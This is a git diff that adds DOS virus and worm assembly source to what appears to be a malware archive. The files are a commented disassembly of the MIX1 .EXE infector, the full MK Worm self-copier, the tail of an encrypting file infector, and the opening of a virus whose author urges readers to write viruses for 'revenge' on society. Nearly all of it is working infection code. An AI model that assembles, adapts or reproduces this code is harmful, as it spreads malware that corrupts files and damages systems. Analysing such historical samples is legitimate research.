pre_done + + + mov ah,42h ; Go to end of file + mov al,02h + xor cx,cx + xor dx,dx + int 21h + jc pre_done + mov cx,ax + mov lengthp,ax ; Save original program code + + mov ah,40h ; Write "mover" code to end + lea dx,mover ; of file + mov cx,endcode-mover + int 21h + jc done + cmp ax,endcode-mover + jne done + + mov ah,40h ; Write original program code + mov dx,buffer ; to end of the file + mov cx,eendcode-start + int 21h + jc done + cmp ax,eendcode-start + jne done + + mov ah,42h ; Go to front of file + mov al,00h + xor cx,cx + xor dx,dx + int 21h + jc done + +stop_encrypt: + mov ah,2ch ; Get time + int 21h + + mov encrypt_val,dh ; Use time as random encryption + call encrypt ; value + + mov ah,40h ; Write virus code to front of + lea dx,start ; file + mov cx,eendcode-start + int 21h + jc done + cmp ax,eendcode-start + jne done + jmp date_stuff + +handler: + mov al,0 + iret +endp + + +time dw ? ; File stamp - time +date dw ? ; File stamp - date +err1 dw ? ; Original error handler +err2 dw ? ; address + +date_stuff: ; Restore old file stamp + mov ax,5701h + mov cx,[time] + mov dx,[date] + and cl,not 11111b ; Set seconds field to 62 secs. + or cl,11111b + int 21h + mov ah,3eh + int 21h + mov dx,olddta ; Restore "original" DTA + mov ah,1ah + int 21h + + push ds ; Save DS + mov ax,2524h ; Set interrupt 24h handler + mov dx,err1 ; Restore saved handler + mov dx,err2 + mov ds,dx + int 21h + pop ds ; Restore DS + +done: + xor cx,cx ; Clear registors + xor dx,dx + xor bx,bx + xor ax,ax + xor si,si +jmp_code db 0e9h ; Preform jmp to "mover" code +the_jmp dw ? + +go: +eendcode label byte + + nop ; krap + nop + nop + nop + nop + + + + +endcode label byte + + + + + + + + + + + + +code ends + end start diff --git a/m/MIX1.ASM b/m/MIX1.ASM new file mode 100755 index 0000000..e7e41e2 --- /dev/null +++ b/m/MIX1.ASM @@ -0,0 +1,857 @@ +; THE MIX1 virus +; +; It was first detected in Israel in August '89. +; +; Disassembly done Sept. 24-25 '89. +; +; The author of this program is unknown, but it is clearly a +; modification of the "Icelandic" virus, with considerable +; additions +; +; All comments in this file were added by Fridrik Skulason, +; University of Iceland/Computing Services. +; +; INTERNET: frisk@rhi.hi.is +; UUCP: ...mcvax!hafro!rhi!frisk +; BIX: FRISK +; +; To anyone who obtains this file - please be careful with it, I +; would not like to see this virus be distributed too much. +; +; A short description of the virus: +; +; It only infects .EXE files. Infected files grow by ... to ... bytes. +; The virus attaches itself to the end of the programs it infects. +; +; When an infected file is run, the virus copies itself to top of +; free memory, and modifies the memory blocks, in order to hide from +; memory mapping programs. Some programs may overwrite this area, +; causing the computer to crash. +; +; The virus will hook INT 21H and when function 4B (EXEC) is called +; it sometimes will infect the program being run. It will check every +; tenth program that is run for infection, and if it is not already +; infected, it will be. +; +; The virus will remove the Read-Only attribute before trying to +; infect programs. +; +; Infected files can be easily recognized, since they always end in +; "MIX1" +; +; To check for system infection, a byte at 0:33C is used - if it +; contains 77 the virus is installed in memory. +; +; +VIRSIZ EQU 128 + +; +; This is the original program, just used so this file, when +; assembled, will produce an active copy. +; +_TEXT1 SEGMENT PARA PUBLIC +_START DB 0b4H,09H + PUSH CS + POP DS + MOV DX,OFFSET STRING + INT 21H + MOV AX,4C00H + INT 21H +STRING DB "Hello world!",0dh,0ah,"$" + _TEXT1 ENDS + +CODE SEGMENT PARA PUBLIC 'CODE' + ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING + +; +; The virus is basically divided in the following parts. +; +; 1. The main program - run when an infected program is run. +; It will check if the system is already infected, and if not +; it will install the virus. +; +; 2. The new INT 17 handler. All outgoing characters will be garbled. +; +; 3. The new INT 14 handler. All outgoing characters will be garbled. +; +; 4. The new INT 8 handler. +; +; 5. The new INT 9 handler. Disables the Num-Lock key +; +; 6. The new INT 21 handler. It will look for EXEC calls, and +; (sometimes) infect the program being run. +; +; Parts 1 and 6 are almost identical to the Icelandic-1 version +; +; This is a fake MCB +; + DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0 + +VIRUS PROC FAR +; +; The virus starts by pushing the original start address on the stack, +; so it can transfer control there when finished. +; +ABRAX: DEC SP ; This used to be SUB SP,4 + DEC SP + NOP + DEC SP + DEC SP + PUSH BP + MOV BP,SP + NOP ; added + PUSH AX + NOP ; added + MOV AX,ES +; +; Put the the original CS on the stack. The ADD AX,data instruction +; is modified by the virus when it infects other programs. +; + DB 05H +ORG_CS DW 0010H + MOV [BP+4],AX +; +; Put the the original IP on the stack. This MOV [BP+2],data instruction +; is modified by the virus when it infects other programs. +; + DB 0C7H,46H,02H +ORG_IP DW 0000H +; +; Save all registers that are modified. +; + PUSH ES + PUSH DS + PUSH BX + PUSH CX + PUSH SI + PUSH DI +; +; Check if already installed. Quit if so. +; + MOV AX,0 ; Was: XOR AX,AX + MOV ES,AX + CMP ES:[33CH],BYTE PTR 077H + JNE L1 +; +; Restore all registers and return to the original program. +; +EXIT: POP DI + POP SI + POP CX + POP BX + POP DS + POP ES + POP AX + POP BP + RET +; +; The virus tries to hide from detection by modifying the memory block it +; uses, so it seems to be a block that belongs to the operating system. +; +; It looks rather weird, but it seems to work. +; +L1: MOV AH,52H + INT 21H + MOV AX,ES:[BX-2] + MOV ES,AX + PUSH ES ; Two totally unnecessary instructions + POP AX ; added + ADD AX,ES:[0003] + INC AX + INC AX + MOV CS:[0001],AX +; +; Next, the virus modifies the memory block of the infected program. +; It is made smaller, and no longer the last block. +; + MOV BX,DS + DEC BX + PUSH BX ; Unnecessary addition + POP AX + MOV DS,BX + MOV AL,'M' + MOV DS:[0000],AL + MOV AX,DS:[0003] + SUB AX,VIRSIZ + MOV DS:[0003],AX + ADD BX,AX + INC BX +; +; Then the virus moves itself to the new block. +; + PUSH BX ; Was: MOV ES,BX + POP ES + MOV SI,0 ; Was: XOR SI,SI XOR DI,DI + MOV DI,SI + PUSH CS + POP DS + MOV CX,652H + CLD + REP MOVSB +; +; The virus then transfers control to the new copy of itself. +; + PUSH ES + MOV AX,OFFSET L3 + PUSH AX + RET +; +; Zero some variables +; +L3: MOV BYTE PTR CS:[MIN60],0 + NOP + MOV BYTE PTR CS:[MIN50],0 + NOP + MOV WORD PTR CS:[TIMER],0 +; +; The most nutty way to zero ES register that I have ever seen: +; + MOV BX,0FFFFH + ADD BX,3F3FH + MOV CL,0AH + SHL BX,CL + AND BX,CS:[CONST0] + MOV AX,BX + MOV ES,AX +; +; Set flag to confirm installation +; + MOV BYTE PTR ES:[33CH],77H +; +; Hook interrupt 21: +; + MOV AX,ES:[0084H] + MOV CS:[OLD21],AX + MOV AX,ES:[0086H] + MOV CS:[OLD21+2],AX + MOV AX,CS + MOV ES:[0086H],AX + MOV AX,OFFSET NEW21 + MOV ES:[0084H],AX +; +; Hook interrupt 17: +; + MOV AX,ES:[005CH] + MOV CS:[OLD17],AX + MOV AX,ES:[005EH] + MOV CS:[OLD17+2],AX + MOV AX,CS + MOV ES:[005EH],AX + MOV AX,OFFSET NEW17 + MOV ES:[005CH],AX +; +; Hook interrupt 14: +; + MOV AX,ES:[0050H] + MOV CS:[OLD17],AX + MOV AX,ES:[0052H] + MOV CS:[OLD14+2],AX + MOV AX,CS + MOV ES:[0052H],AX + MOV AX,OFFSET NEW14 + MOV ES:[0050H],AX +; +; +; + CMP WORD PTR CS:[NOINF],5 + JG HOOK9 + JMP EXIT +; +; Hook interrupt 9 +; +HOOK9: MOV AX,ES:[0024H] + MOV CS:[OLD9],AX + MOV AX,ES:[0026H] + MOV CS:[OLD9+2],AX + MOV AX,CS + MOV ES:[0026H],AX + MOV AX,OFFSET NEW9 + MOV ES:[0024H],AX +; +; Hook interrupt 8 +; + MOV AX,ES:[0020H] + MOV CS:[OLD8],AX + MOV AX,ES:[0022H] + MOV CS:[OLD8+2],AX + MOV AX,CS + MOV ES:[0022H],AX + MOV AX,OFFSET NEW8 + MOV ES:[0020H],AX + JMP EXIT +; +; Video processing +; +VID: PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH DS + PUSH ES + PUSH CS + POP DS + MOV AH,0FH + INT 10H + MOV AH,6 + MUL AH + MOV BX,AX + MOV AX,DS:[BX+OFFSET VIDEOT] + MOV CX,DS:[BX+OFFSET VIDEOT+2] + MOV DX,DS:[BX+OFFSET VIDEOT+4] + MOV ES,DX + SHR CX,1 + MOV + DI,1 + CMP AX,0 + JNZ V1 +V0: INC WORD PTR ES:[DI] + INC DI + INC DI + LOOP V0 + JMP SHORT V2 + NOP +V1: NOT WORD PTR ES:[DI] + INC DI + INC DI + LOOP V1 +V2: POP ES + POP DS + POP DI + POP DX + POP CX + POP BX + POP AX + RET +; +; INT 9 replacement: Just fiddle around with the NUM-LOCK etc. +; This routine does not become active until 50 minutes after +; the execution of an infected program. +; +NEW9: PUSH AX + PUSH ES + CMP BYTE PTR CS:[MIN50],1 + JNZ RETX1 + XOR AX,AX + MOV ES,AX ; was xxxxxxxx + AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx + OR BYTE PTR ES:[417H],20H ; x01xxxxx + TEST BYTE PTR ES:[417H],0CH + JZ RETX1 + IN AL,60 + CMP AL,53 + JNZ RETX1 + AND BYTE PTR ES:[417H],0F7H +; +; This seems to be an error - the virus uses a FAR call, which will +; probably cause the computer to crash. +; + DB 9AH + DW OFFSET VID,171CH +; +; This needs more checking. +; + +RETX1: POP ES + POP AX + DB 0EAH +OLD9 DW 0,0 +; +; New INT 14 routine - garble all outgoing characters +; +NEW14: CMP AH,1 + JZ S1 +DO14: DB 0EAH +OLD14 DW 0,0 +S1: PUSH BX + XOR BX,BX + MOV BL,AL + ADD BX,OFFSET ERRTAB + MOV AL,CS:[BX] ; use old character as index into table + POP BX + JMP DO14 +; +; New INT 8 routine +; +NEW8: PUSH DX + PUSH CX + PUSH BX + PUSH AX + CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min. + JZ TT0 ; No need to check any more + INC WORD PTR CS:[TIMER] ; else increment timer + CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ? + JZ TT1 + CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ? + JZ TT2 + JMP TXEX +; +; 50 minutes after an infected program is run the flag is set. +; +TT2: MOV BYTE PTR CS:[MIN50],1 + NOP + JMP TXEX +; +; 60 minutes after an infected program is run we start the ball bouncing. +; +TT1: MOV BYTE PTR CS:[MIN60],1 +; +; Get current cursor position and save it +; + MOV AH,3 + MOV BH,0 + INT 10H + MOV CS:[SCRLINE],DH + MOV CS:[SCRCOL],DL +; +; Set cursor position +; + MOV AH,2 + MOV BH,0 + MOV DH,CS:[MYLINE] + MOV DL,CS:[MYCOL] + INT 10H +; +; Check what is there and store it +; + MOV AH,8 + MOV BH,0 + INT 10H + MOV CS:[ONSCREEN],AL +; +; Set cursor position back as it was before +; + MOV AH,2 + MOV BH,0 + MOV DH,CS:[SCRLINE] + MOV DL,CS:[SCRCOL] + INT 10H +; +; Get current video mode and store it +; + MOV AH,0FH + INT 10H + MOV CS:[VMODE],AH +; +; Exit interrupt routine +; + JMP TXEX +; +; Every time an INT 8 occurs, after the 60 min. have passed, we +; end up here: +; +; First get current cursor position +; +TT0: MOV AH,3 + MOV BH,0 + INT 10H + MOV CS:[SCRLINE],DH + MOV CS:[SCRCOL],DL +; +; Then set it to last position of ball. +; + MOV AH,2 + MOV BH,0 + MOV DH,CS:[MYLINE] + MOV DL,CS:[MYCOL] + INT 10H +; +; Write previous character there ... +; + MOV AH,0EH + MOV AL,CS:[ONSCREEN] + MOV BX,0 + INT 10H +; +; + CMP BYTE PTR CS:[UPDOWN],0 + JZ T2 +; +; + DEC BYTE PTR CS:[MYLINE] + JMP SHORT T3 + NOP +T2: INC BYTE PTR CS:[MYLINE] +T3: CMP BYTE PTR CS:[LEFTRIGHT],0 + JZ T4 + DEC BYTE PTR CS:[MYCOL] + JMP SHORT T5 + NOP +T4: INC BYTE PTR CS:[MYCOL] +; +; Get current video mode +; +T5: MOV AH,0FH + INT 10H + MOV CS:[VMODE],AH + MOV AL,CS:[MAXLIN] + CMP CS:[MYLINE],AL ; bottom of screen ? + JNZ T6 +; +; Reached bottom - now go upwards. +; + NOT BYTE PTR CS:[UPDOWN] +T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ? + JNZ T7 +; +; Reached top - now go downwards +; + NOT BYTE PTR CS:[UPDOWN] +T7: MOV AL,CS:[VMODE] + CMP CS:[MYCOL],AL + JNZ T8 + NOT BYTE PTR CS:[LEFTRIGHT] +T8: CMP BYTE PTR CS:[MYCOL],0 + JNZ T9 + NOT BYTE PTR CS:[LEFTRIGHT] +; +; Set cursor position to new position of ball +; +T9: MOV AH,02 + MOV BH,0 + MOV DH,CS:[MYLINE] + MOV DL,CS:[MYCOL] + INT 10H +; +; Get what is there and store it. +; + MOV AH,8 + MOV BH,0 + INT 10H + MOV CS:[ONSCREEN],AL +; +; Write character (lower case o) +; + MOV AH,0EH + MOV AL,6FH + MOV BX,0 + INT 10H +; +; And restore cursor position +; + MOV AH,02 + MOV BH,0 + MOV DH,CS:[SCRLINE] + MOV DL,CS:[SCRCOL] + INT 10H +; +; Restore registers and quit +; +TXEX: POP AX + POP BX + POP CX + POP DX + DB 0EAH +OLD8 DW 0,0 +; +; New INT 17 routine. Garble all outgoing characters. +; +NEW17: CMP AH,0 + JZ P0 +DO17: DB 0EAH +OLD17 DW 0,0 +P0: PUSH BX + XOR BX,BX + MOV BL,AL + ADD BX,OFFSET ERRTAB + MOV AL,CS:[BX] + POP BX + JMP DO17 +; +; This is the INT 21 replacement. It only does something in the case +; of an EXEC call. +; +NEW21: CMP AH,4BH + JE L5 +DO21: DB 0EAH +OLD21 DW 0,0 +; +; The code to only infect every tenth program has been removed +; +L5: PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DS +; +; Search for the file name extension ... +; + MOV BX,DX +L6: INC BX + CMP BYTE PTR [BX],'.' + JE L8 + CMP BYTE PTR [BX],0 + JNE L6 +; +; ... and quit unless it starts with "EX". +; +L7: POP DS + POP SI + POP DX + POP CX + POP BX + POP AX + JMP DO21 +L8: INC BX + CMP WORD PTR [BX],5845H + JNE L7 +; +; When an .EXE file is found, the virus starts by turning off +; the read-only attribute. The read-only attribute is not restored +; when the file has been infected. +; + MOV AX,4300H ; Get attribute + INT 21H + JC L7 + MOV AX,4301H ; Set attribute + AND CX,0FEH + INT 21H + JC L7 +; +; Next, the file is examined to see if it is already infected. +; The signature (4418 5F19) is stored in the last two words. +; + MOV AX,3D02H ; Open / write access + INT 21H + JC L7 + MOV BX,AX ; file handle in BX +; +; This part of the code is new: Get date of file. +; + MOV AX,5700H + INT 21H + JC L9 + MOV CS:[DATE1],DX + MOV CS:[DATE2],CX +; + PUSH CS ; now DS is no longer needed + POP DS +; +; The header of the file is read in at [ID+8]. The virus then +; modifies itself, according to the information stored in the +; header. (The original CS and IP addressed are stored). +; + MOV DX,OFFSET ID+8 + MOV CX,1CH + MOV AH,3FH + INT 21H + JC L9 + MOV AX,DS:ID[1CH] + MOV DS:[ORG_IP],AX + MOV AX,DS:ID[1EH] + ADD AX,10H + MOV DS:[ORG_CS],AX +; +; Next the read/write pointer is moved to the end of the file-4, +; and the last 4 bytes read. They are compared to the signature, +; and if equal nothing happens. +; + MOV AX,4202H + MOV CX,-1 + MOV DX,-4 + INT 21H + JC L9 + ADD AX,4 + MOV DS:[LEN_LO],AX + JNC L8A + INC DX +L8A: MOV DS:[LEN_HI],DX +; +; This part of the virus is new - check if it is below minimum length +; + CMP DX,0 + JNE L8B + MOV CL,13 + SHR AX,CL + CMP AX,0 + JG L8B + JMP SHORT L9 + NOP +L8B: MOV AH,3FH + MOV CX,4 + MOV DX,OFFSET ID+4 + INT 21H + JNC L11 +L9: MOV AH,3EH + INT 21H +L10: JMP L7 +; +; Compare to 4418,5F19 +; +L11: MOV SI,OFFSET ID+4 + MOV AX,[SI] + CMP AX,494DH + JNE L12 + MOV AX,[SI+2] + CMP AX,3158H + JE L9 +; +; The file is not infected, so the next thing the virus does is +; infecting it. First it is padded so the length becomes a multiple +; of 16 bytes. Tis is probably done so the virus code can start at a +; paragraph boundary. +; +L12: MOV AX,DS:[LEN_LO] + AND AX,0FH + JZ L13 + MOV CX,16 + SUB CX,AX + ADD DS:[LEN_LO],CX + JNC L12A + INC DS:[LEN_HI] +L12A: MOV AH,40H + INT 21H + JC L9 +; +; Next the main body of the virus is written to the end. +; +L13: MOV DX,0 ; Was: XOR DX,DX + MOV CX,OFFSET ID + 4 + MOV AH,40H + INT 21H + JC L9 +; +; Next the .EXE file header is modified: +; + JMP SHORT F0 ; some unnecessary instructions + NOP +; First modify initial IP +; +F0: MOV AX,OFFSET LABEL + MOV DS:ID[1CH],AX +; +; Modify starting CS = Virus CS. It is computed as: +; +; (Original length of file+padding)/16 - Start of load module +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + MOV CL,CS:[CONST1] ; Modified a bit + SHR DX,CL + RCR AX,CL + SHR DX,CL + RCR AX,CL + SHR DX,CL + RCR AX,CL + SHR DX,CL + RCR AX,CL + SUB AX,DS:ID[10H] + MOV DS:ID[1EH],AX +; +; Modify length mod 512 +; + ADD DS:[LEN_LO],OFFSET ID+4 + JNC L14 + INC DS:[LEN_HI] +L14: MOV AX,DS:[LEN_LO] + AND AX,511 + MOV DS:ID[0AH],AX +; +; Modify number of blocks used +; + MOV DX,DS:[LEN_HI] + MOV AX,DS:[LEN_LO] + ADD AX,511 + JNC L14A + INC DX +L14A: MOV AL,AH + MOV AH,DL + SHR AX,1 + MOV DS:ID[0CH],AX +; +; Finally the modified header is written back to the start of the +; file. +; +QQQ: MOV AX,4200H + MOV CX,0 ; was XOR CX,CX + AND DX,CS:[CONST0] ; was XOR DX,DX + INT 21H + JC ENDIT + MOV AH,40H + MOV DX,OFFSET ID+8 + MOV CX,1CH + INT 21H +; +; This part is new: Restore old date. +; + MOV DX,CS:[DATE1] + MOV CX,CS:[DATE2] + MOV AX,5701H + INT 21H + JC ENDIT + INC WORD PTR CS:[NOINF] +; +; Infection is finished - close the file and execute it +; +ENDIT: JMP L9 +; +; + DW 0 + +VIDEOT: DW 0000H, 07D0H, 0B800H + DW 0000H, 07D0H, 0B800H + DW 0000H, 0FA0H, 0B800H + DW 0000H, 0FA0H, 0B800H + DW 0001H, 4000H, 0B800H + DW 0001H, 4000H, 0B800H + DW 0001H, 4000H, 0B800H + DW 0000H, 0FA0H, 0B000H + DW 0001H, 3E80H, 0B000H + DW 0001H, 7D00H, 0B000H + DW 0001H, 7D00H, 0B000H + DW 0002H, 0000H, 0000H + DW 0002H, 0000H, 0000H + DW 0001H, 7D00H, 0A000H + DW 0001H, 0FA00H, 0A000H + DW 0001H, 6D60H, 0A000H + DW 0002H, 0000H. 0000H + + DW 0 + +ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH + DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH + DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH + DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH + DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H + DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH + DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H + DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH + DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH + DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH + DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH + DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H + DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH + DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH + DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH + DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH + +CONST1 DB 1 ; Just the constant 1 +CONST0 DW 0 ; The label says it all +MIN60 DB 0 ; Flag, set to 1 60 minutes after execution +MIN50 DB 0 ; Flag, set to 1 50 minutes after execution +VMODE DB 0 ; Video mode +MAXLIN DB 24 +MYCOL DB 0 ; Position of ball on screen +MYLINE DB 0 ; ditto. +ONSCREEN DB ? ; Previous character on the screen +UPDOWN DB 0 ; Direction of ball (up or down) +LEFTRIGHT DB 0 ; Direction (left or right) +SCRCOL DB ? +SCRLINE DB ? +DATE1 DW ? ; Date of file +DATE2 DW ? ; ditto. +TIMER DW 0 ; Number of timer (INT 8) ticks +LEN_LO DW ? +LEN_HI DW ? +NOINF DW 0 ; Number of infections +ID ABRAX WORD + DB "MIX1" ; The signature of the virus. +; +; A buffer, used for data from the file. +; + +VIRUS ENDP +CODE ENDS + + END ABRAX diff --git a/m/MKWORM.ASM b/m/MKWORM.ASM new file mode 100755 index 0000000..6cce173 --- /dev/null +++ b/m/MKWORM.ASM @@ -0,0 +1,467 @@ +;********************************************************************** +;* +;* MK Worm +;* +;* Compile with MASM 4.0 +;* +;********************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg + .radix 16 + org 0100 + + +wormlen equ 8 +filelen equ eind - begin +old_dir equ eind +DTA equ offset eind + 100d + + +;********************************************************************** +;* Main program +;********************************************************************** + +begin: call rnd_init + + mov bp,DTA ;change DTA + call set_DTA + + mov ah,47 ;get name of current directory + cwd + mov si,offset old_dir + int 21 + + mov dx,offset root_dir ;goto root + call chdir + + call search ;search directory's + + mov dx,offset old_dir ;goto original directory + call chdir + + call rnd_get ;go resident? + and al,0F + jz go_res + + int 20 + +go_res: mov ax,351C ;go resident! + int 21 + lea si,oldvec + mov [si],bx + mov [si+2],es + lea dx,routine + mov ax,251C + int 21 + mov dx,offset eind + int 27 + + +;********************************************************************** +;* search dir +;********************************************************************** + +search: mov dx,offset dirname ;search *.* + mov cx,16 + mov ah,4E +finddir: int 21 + jc no_dir + + test byte ptr [bp+15],10 ;directory? + je next_dir + cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ? + je next_dir + + lea dx,[bp+1E] ;goto directory + call chdir + lea bp,[bp+2C] ;change DTA + call set_DTA + + call search ;searc directory (recurse!) + + lea bp,[bp-2C] ;goto previous DAT + call set_DTA + mov dx,offset back_dir ;'CD ..' + call chdir + +next_dir: mov ah,4F ;find next + jmp short finddir + +no_dir: call rnd_get ;copy worm to this directory? + and al,3 + jnz no_worm + + mov dx,offset comname ;search *.com + mov ah,4E + mov cx,06 +findcom: int 21 + jc makeit + + mov ax,word ptr [bp-1A] ;worm already there? + sub ax,filelen + cmp ax,10 + jnb no_worm + + mov ah,4F + jmp short findcom + + +makeit: call makeworm ;copy the worm! + +no_worm: ret + + +;********************************************************************** +;* change dir +;********************************************************************** + +chdir: mov ah,3Bh + int 21 + ret + + +;********************************************************************** +;* set DTA +;********************************************************************** + +set_DTA: mov dx,bp + mov ah,1A + int 21 + ret + + +;********************************************************************** +;* create worm +;********************************************************************** + +makeworm: mov ah,5A ;create unique filename + xor cx,cx + mov dx,offset filename + mov si,offset restname + mov byte ptr [si],0 + int 21 + xchg ax,bx + + mov ah,40 ;write worm + mov cx,filelen + mov dx,0100 + int 21 + + call rnd_get ;append a few bytes + and ax,0F + xchg ax,cx + mov dx,0100 + mov ah,40 + int 21 + + mov ah,3E ;close file + int 21 + + lea di,[si+13d] ;copy filename + push di + push si + movsw + movsw + movsw + movsw + mov si,offset comname+1 + movsw + movsw + movsb + + pop dx ;rename file to .COM + pop di + mov ah,56 + int 21 + + ret + + +;********************************************************************** +;* new int 1C handler +;********************************************************************** + +routine: cli ;save registers + push ds + push es + push ax + push bx + push cx + push dx + push si + push di + + push cs + push cs + pop ds + pop es + +zzz3: inc byte ptr [count] + mov al,byte ptr [count] + test al,1 ;only every 2nd tick + jz nothing + cmp al,3 ;don't change direction yet + jb zzz2 + call rnd_get + and al,3 ;change direction? + jnz zzz2 + +zzz0: call dirchange ;change direction! + mov al,byte ptr [direction] + xor al,byte ptr [old_direc] + and al,1 + jz zzz0 ;90 degrees with old direction? + +zzz2: call getnext ;calculate next position + call checknext ;does it hit the border? + jc zzz0 + + mov al,byte ptr [direction] ;save old direction + mov byte ptr [old_direc],al + call moveworm + + mov ah,0F ;ask video mode + int 10 + cmp al,7 + jz goodmode + cmp al,4 + jnb nothing + cmp al,2 + jb nothing + +goodmode: mov ah,3 ;read cursor position + int 10 + push dx + + call printworm + + pop dx ;restore cursor position + mov ah,2 + int 10 + +nothing: pop di + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds + sti + + jmp cs:[oldvec] ;original vector + +oldvec dd 0 + + +;********************************************************************** +;* changes direction of worm +;********************************************************************** + +dirchange: call rnd_get ;get random numbar + and al,2 + mov ah,byte ptr [direction] ;change direction 90 degrees + xor ah,0FF + and ah,1 + or ah,al + mov byte ptr [direction],ah + mov byte ptr [count],0 + ret + + +;********************************************************************** +;* finds next position of the worm +;********************************************************************** + +getnext: mov al,byte ptr [yval+wormlen] + mov byte ptr [yval+wormlen+1],al + mov al,byte ptr [xval+wormlen] + mov byte ptr [xval+wormlen+1],al + + mov ah,byte ptr [direction] + cmp ah,3 + je is_3 + cmp ah,2 + je is_2 + cmp ah,1 + je is_1 + +is_0: mov al,byte ptr [yval+wormlen] ;up + dec al + mov byte ptr [yval+wormlen+1],al + ret + +is_1: mov al,byte ptr [xval+wormlen] ;left + dec al + dec al + mov byte ptr [xval+wormlen+1],al + ret + +is_2: mov al,byte ptr [yval+wormlen] ;down + inc al + mov byte ptr [yval+wormlen+1],al + ret + +is_3: mov al,byte ptr [xval+wormlen] ;right + inc al + inc al + mov byte ptr [xval+wormlen+1],al + ret + + +;********************************************************************** +;* checks if worm will hit borders +;********************************************************************** + +checknext: mov al,byte ptr [xval+wormlen+1] + cmp al,0 + jl fout + cmp al,80d + jae fout + + mov al,byte ptr [yval+wormlen+1] + cmp al,0 + jl fout + cmp al,25d + jae fout + + clc + ret +fout: stc + ret + + +;********************************************************************** +;* move the worm +;********************************************************************** + +moveworm: mov si,offset xval+1 + lea di,[si-1] + mov cx,wormlen+1 + rep movsb + mov si,offset yval+1 + lea di,[si-1] + mov cx,wormlen+1 + rep movsb + ret + + +;********************************************************************** +;* print the worm on screen +;********************************************************************** + +printworm: mov si,offset xval + call move + mov al,20 ;print space on rear end + call print + mov cx,wormlen-1 +lup: call move + mov al,0F ;print dots + call print + loop lup + call move + mov al,2 ;print head of worm + call print + ret + + +;********************************************************************** +;* move the cursor +;********************************************************************** + +move: mov ah,[si+wormlen+2] + lodsb + xchg ax,dx + mov ah,02 + int 10 + ret + + +;********************************************************************** +;* print a character +;********************************************************************** + +print: push cx + mov ah,09 + mov bl,0C + mov cx,1 + int 10 + pop cx + ret + + +;**************************************************************************** +;* random number generator +;**************************************************************************** + +rnd_init: push cx + call rnd_init0 + and ax,000F + inc ax + xchg ax,cx +random_lup: call rnd_get + loop random_lup + pop cx + ret + +rnd_init0: push dx ;initialize generator + push cx + mov ah,2C + int 21 + in al,40 + mov ah,al + in al,40 + xor ax,cx + xor dx,ax + jmp short move_rnd + +rnd_get: push dx ;calculate a random number + push cx + push bx + mov ax,0 + mov dx,0 + mov cx,7 +rnd_lup: shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_l2 + inc al +rnd_l2: loop rnd_lup + pop bx + +move_rnd: mov word ptr cs:[rnd_get+4],ax + mov word ptr cs:[rnd_get+7],dx + mov al,dl + pop cx + pop dx + ret + + +;********************************************************************** +;* data +;********************************************************************** + + db ' MK Worm / Trident ' +root_dir db '\',0 +back_dir db '..',0 +dirname db '*.*',0 + +comname db '*.COM',0 +filename db '.\' +restname db (26d) dup (?) + +xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0 +yval db (wormlen+2) dup (12d) + +direction db 3 +old_direc db 3 +count db 0 + +eind: + +cseg ends + end begin + + \ No newline at end of file diff --git a/m/MLP-1307.ASM b/m/MLP-1307.ASM new file mode 100755 index 0000000..3735810 --- /dev/null +++ b/m/MLP-1307.ASM @@ -0,0 +1,749 @@ + .model tiny + .code + + org 100h + +start: + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; +; A NEW ORDER OF INTELLIGENCE PRESENTS: ; +; My Little Pony 1.00 ; +; Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted ; +; - A.N.O.I - ; +; ; +; ; +; I know that there is a much better documented source-code for this ; +; virus. And I'm also very interessted to get in touch with the guy ; +; who did that documentation. Please contact me. ; +; ; +; You may freely use this code as you want, just give me some of the ; +; credits. Please learn to create virus, so we, together can get our ; +; revenge to the soceity. Learn to feel the feeling being cruel! ; +; ; +; Of cource I can't take any responsibility for all virus-coders ; +; who use any of the routines in this virus. ; +; ; +; ; 